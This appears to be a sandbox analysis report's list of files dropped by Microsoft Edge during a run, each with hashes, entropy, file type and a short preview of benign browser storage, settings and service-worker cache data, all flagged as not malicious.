C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.581347140820788
Encrypted:	false
SSDEEP:	24:4ZZWYl7ql5eUNpHNcTXZ3rWDV03y1x4xMyG:4ZZt78eXZqDV03Sx4qyG
MD5:	C84B81F47DE9EEF3A8FAEABF1EF95F45
SHA1:	01681066BCC0D057BF1B37C3F95AC160013041CD
SHA-256:	6526985D2A6E00083D551D6ABAC374338DCF25A803DEE5D462CED0C625B88FCA
SHA-512:	EFD32D36C531BB25C60254DE044FE458E35DA4F2BF9B979AB37C8DF084538E09F676A9CA02C8C6D2BE8A498B41AE88E9B8B5F26631460391F83CC293D4DEBFAD
Malicious:	false
Preview:	.:.].................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1734621081113.-_https://ntp.msn.com..LastVisuallyReadyMarker..1734621082307.._https://ntp.msn.com..MUID!.09B6C4049C2967923623D15E9D006621.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1734621081188,"schedule":[-1,9,-1,-1,40,22,-1],"scheduleFixed":[-1,9,-1,-1,40,22,-1],"simpleSchedule":[31,49,23,41,14,27,51]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1734621081066.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241218.370"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Dec 19 2024 10:11:20 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.112465319533088
Encrypted:	false
SSDEEP:	6:7OPLVq2PN723oH+Tcwt8a2jMGIFUt8OOPQgZmw+OOP6IkwON723oH+Tcwt8a2jM4:7OP5vVaYeb8EFUt8OOP5/+OOPt5OaYek
MD5:	C480E78488839C5DC87042E34EBAA1EC
SHA1:	FE16957A842CE0092FCA0B241D18549326B8DD21
SHA-256:	FDD3699ACE2D77067CF156819AB11DA1F7685187BE2644DBAC937364E813EF07
SHA-512:	90516006E030CD8AEB764248916A965E883E755EB172938FF9B96270EEE4C50A05423D13D02D2C881BF3CC0DD81D5959FC6C0F2BE8E9A323929B1FCA954C10D2
Malicious:	false
Preview:	2024/12/19-10:11:06.907 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/19-10:11:06.908 1d24 Recovering log #3.2024/12/19-10:11:06.911 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.112465319533088
Encrypted:	false
SSDEEP:	6:7OPLVq2PN723oH+Tcwt8a2jMGIFUt8OOPQgZmw+OOP6IkwON723oH+Tcwt8a2jM4:7OP5vVaYeb8EFUt8OOP5/+OOPt5OaYek
MD5:	C480E78488839C5DC87042E34EBAA1EC
SHA1:	FE16957A842CE0092FCA0B241D18549326B8DD21
SHA-256:	FDD3699ACE2D77067CF156819AB11DA1F7685187BE2644DBAC937364E813EF07
SHA-512:	90516006E030CD8AEB764248916A965E883E755EB172938FF9B96270EEE4C50A05423D13D02D2C881BF3CC0DD81D5959FC6C0F2BE8E9A323929B1FCA954C10D2
Malicious:	false
Preview:	2024/12/19-10:11:06.907 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/19-10:11:06.908 1d24 Recovering log #3.2024/12/19-10:11:06.911 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\16d61c68-39fe-4d53-a326-aa202f4e8349.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\23805581-48e9-4ac7-aa38-76fbb2412483.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF54daa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d3b72151-6258-4ee6-a348-e5436c04cc7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9703
Entropy (8bit):	5.10689117713811
Encrypted:	false
SSDEEP:	192:stkkdpNsuZZGaFvrE9kPZw18wbV+FmMQAqUpPRYJ:stkQNsIZGCDkbG9QQA
MD5:	206A6C09081CBB50052FF13B9196EDFE
SHA1:	43D32DC91CA3A203EBB03D028A66C03786F77EE7
SHA-256:	61C7822672EBF7182950CEC91B469BF5B70B991D8373FDE6E7DAFF265B11C6AC
SHA-512:	FCE13B73E87020B3A0BF1FC32E78ABD6B10C9DCF089C2E3A58F141232210BDB6C045AAAB06FB6276B74E2B3DE8A909F5E81C009D21A28807AD1C0D6BDFD0E394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379094666780898","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566151882675213
Encrypted:	false
SSDEEP:	768:KyX3ylWTqW5wc6f4kr8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqSIdyjxrwX3pNtue:KCClgqWac6flru1jaj1gCvtB
MD5:	DA85BF9197EFE75EE6EC0BBDE88C183F
SHA1:	43D59481AF509EA1E847CB9F6D0BC03738E5E48A
SHA-256:	31E3B13D2E510673AD34231828291CB1F02ACFA20F812AF53746F4DC0C0AB96F
SHA-512:	59438AFF3E426355C334C3B350A62A0C58F81FD9E2D1909C665EEA331074218215041A8B8F53C71519F11F3B40FC2D68622BA0B6A6427C7E4282EDDC0D029E0B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379094666066728","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379094666066728","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.323098996850684
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkXn:chXUQI2xH8BzNmen
MD5:	8DA62954B0B14642CF287A260418E39B
SHA1:	E82BF98669AE1D73BBD9294D9F454044D5C2622E
SHA-256:	B7E25784D1B3A3653C618822715DAE7CC86BF0B05FFF0CF3C5D6A1FB169F0614
SHA-512:	E44DC92CAA0579A81CBF176A589493421AAD851D7006603B54684EE8CBFC67F572F2B0219F4483227F3FF9CC614D882B2ADB8060873E358C7D6870CAF9E3865C
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.119585892770222
Encrypted:	false
SSDEEP:	6:7ONbXDD1N723oH+TcwtE/a252KLlpONbjIocM+q2PN723oH+TcwtE/a2ZIFUv:7ORDDaYeb8xLTO1IlM+vVaYeb8J2FUv
MD5:	11B461D8F6E7018F7237E26B8EF54301
SHA1:	0449A38E5E053A48B7F9748B9A710B86C102BA99
SHA-256:	114CC1033CE6568663469222A40FC865049AED359E529C6004A6A44C6B22C178
SHA-512:	B3F07164154A1A7AD77987CCB89A72C055BDB451FE7783A09C6C5E698759272ABBBCA5A95608FA753DE7AC85626C0B825344988635B7928036DB898A74915570
Malicious:	false
Preview:	2024/12/19-10:11:22.288 1b6c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/12/19-10:11:22.305 1b6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114579
Entropy (8bit):	5.577512038055223
Encrypted:	false
SSDEEP:	1536:kU906yxPXfOxr1lhCe1nL/ImL/rBZXECjPXNtGfki7QpbKwZ:J9LyxPXfOxr1lMe1nL/5L/TXE6U7WL
MD5:	5FC87A4B06948CF77BFFBE07746A9FAF
SHA1:	D0A609FDD64A153337A5A3484067C481FE6DF24C
SHA-256:	15AB85FB788AA4F4576ACC2E002FA2E85ECC7C8F524A6D324EAA128E056431F4
SHA-512:	D742239A7521510B3A14D26B247EDE17DC7077F3FC2052D373B1179106F0CFF010B9CA54B03D83EF8FFBE729601D324EF7F8CD25AABD34C61AAD2F325724B00C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	189121
Entropy (8bit):	6.387275361639921
Encrypted:	false
SSDEEP:	3072:U1T9Z11MSwL3ZVcB4XL/MWTf1SvX5o4HNj8Pif1fU11L6:5SwLzcqL/vj45nje6
MD5:	34089B4F56F6530D36918717D3D23584
SHA1:	B762D4728EEDD067ECC4989C84343F66FCC78A00
SHA-256:	894D5473CD72B8E777563818D583ECC2245C937A57046E7201714C1A87250D23
SHA-512:	14B7F5E259CBEFF7C5472CA4E50E7A01AFE7AE39FB719AE7F9C79DC374BDD0A04F595DF9C1DF5A9EB33CDF5A726746466200925A013E062891309821B6219C77
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yTh........,T.8..`,.....L`.....,T...`......L`......Rcb..2....exports...Rcv.lo....module....RcB.......define....Rb.s......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q......{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....@[...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:vdHtTE/mRE:VNg/mRE
MD5:	12C74E81B4C3392F3C917E4804ACFA43
SHA1:	03E12EABAFB59C31B7DD4A7041C245494EC38923
SHA-256:	491E03308B3AB3941A485BC645FE782A83420977BAA96DE697E21B6C0724D97A
SHA-512:	31765EF2DF7611F0D8A29C132A30BC2678CC5DD83FAF31BA67A7A5B440E3C262F138B7ECF3950B823F9452D21298E553E1FDB77EE9FAF5323B3C70C7AFEB9F27
Malicious:	false
Preview:	(...2q..oy retne........................#..97./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:vdHtTE/mRE:VNg/mRE
MD5:	12C74E81B4C3392F3C917E4804ACFA43
SHA1:	03E12EABAFB59C31B7DD4A7041C245494EC38923
SHA-256:	491E03308B3AB3941A485BC645FE782A83420977BAA96DE697E21B6C0724D97A
SHA-512:	31765EF2DF7611F0D8A29C132A30BC2678CC5DD83FAF31BA67A7A5B440E3C262F138B7ECF3950B823F9452D21298E553E1FDB77EE9FAF5323B3C70C7AFEB9F27
Malicious:	false
Preview:	(...2q..oy retne........................#..97./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6171
Entropy (8bit):	3.4076506306442274
Encrypted:	false
SSDEEP:	192:chc6n7p7wmJTUr9Xp+cTifDSLl9iSrYThqjYDf:chXF7wmJTUr9Xp+CDLl9iSrENDf
MD5:	EBBEBC99A4D6BDAFA66A0A0A4FCD788A
SHA1:	0DC951A50ABE1EDD7C43F16D984EB33E3CDC1745
SHA-256:	11FEBB987918B997E14A2EA7BBF0EBFDF15F35A623B4D131E870C7D4C9D0E98D
SHA-512:	2B73131C43ED2C1247162005E91E355DA413DD7E693D9511148BCD4239FB3B23B1DB5F85ACAE5AEEAAB21B686847B130C05F0D60794AEA5F72B2E427E39B91E3
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................W%.b................next-map-id.1.Cnamespace-ba374767_8bfa_4aa6_9dc0_bd4641abaa2d-https://ntp.msn.com/.0.8...................map-0-shd_sweeper.-{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.v.i.d.a.d.-.2.1.5.-.c.,.p.r.g.-.v.i.d.a.d.-.v.s.-.r.f.-.c.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.i.,.p.r.g.-.1.s.w.-.s.a.b.g.t.a.s.k.t.h.r.o.t.c.,.p.r.g.-.1.s.w.-.s.a.q.e.n.r.e.v.i.m.-.t.t.-.c.c.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.c.o.u.n.t.3.,.p.r.g.-.1.s.w.-.s.a.-.e.n.g.s.c.,.p.r.g.-.1.s.w.-.c.h.a.n.g.e.s.i.z.e.,.p.r.g.-.1.s.w.-.c.h.g.s.i.z.e.,.p.r.g.-.1.s.w.-.n.o.a.b.r.t.-.r.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.c.2.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1117225594849245
Encrypted:	false
SSDEEP:	6:7OP/RSVq2PN723oH+TcwtrQMxIFUt8OOP5kgZmw+OOP9IkwON723oH+TcwtrQMFd:7OP/ROvVaYebCFUt8OOP5N/+OOPm5Oan
MD5:	D96A64BB499E94DF10E1893E8B00EDDF
SHA1:	0C86C880167E5141652403B096D25FF492CDBC24
SHA-256:	38702DB0A914FC472E785D98EB7995839550BE4506FF5E8BB6A99FC24D7F5607
SHA-512:	78DF7D3BA2513945D7D59985566BF300A78A75146C469A6DAD75CC8AD7AE3A53F74A1E56A7F716BCA6F4A2542D27660FBC49E7E57EC802129E6D1A171BA80741
Malicious:	false
Preview:	2024/12/19-10:11:06.892 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/19-10:11:06.894 1d24 Recovering log #3.2024/12/19-10:11:06.897 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1117225594849245
Encrypted:	false
SSDEEP:	6:7OP/RSVq2PN723oH+TcwtrQMxIFUt8OOP5kgZmw+OOP9IkwON723oH+TcwtrQMFd:7OP/ROvVaYebCFUt8OOP5N/+OOPm5Oan
MD5:	D96A64BB499E94DF10E1893E8B00EDDF
SHA1:	0C86C880167E5141652403B096D25FF492CDBC24
SHA-256:	38702DB0A914FC472E785D98EB7995839550BE4506FF5E8BB6A99FC24D7F5607
SHA-512:	78DF7D3BA2513945D7D59985566BF300A78A75146C469A6DAD75CC8AD7AE3A53F74A1E56A7F716BCA6F4A2542D27660FBC49E7E57EC802129E6D1A171BA80741
Malicious:	false
Preview:	2024/12/19-10:11:06.892 1d24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/19-10:11:06.894 1d24 Recovering log #3.2024/12/19-10:11:06.897 1d24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13379094668578833

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.816416708482888
Encrypted:	false
SSDEEP:	24:302000fK4rDs+vwCPjIDK+psAF4unxEyEtLp3X2amEtG1Chq/TAcgh6kEHjoQKkv:30ZrDnv1PjSNzF0HLp2FEkChETihVEDA
MD5:	C658E1B0C0C54EDDE7FD06843AE6E5AB
SHA1:	B82F44F385A976D540917F2260ADE9524C8DC0E7
SHA-256:	CB8DBAAEFED5FE598BEA776F11101DFB2395740270C0F2742626894749C8E9B1
SHA-512:	51742CAC3D6CCEC00A1100C39333E75F0E4C2D323D61EAB0D0CE7976E72DE70850E7400468F59369A3A2F082B8EC80A4D06691A7581635B5072A5D8FA1DB7B04
Malicious:	false
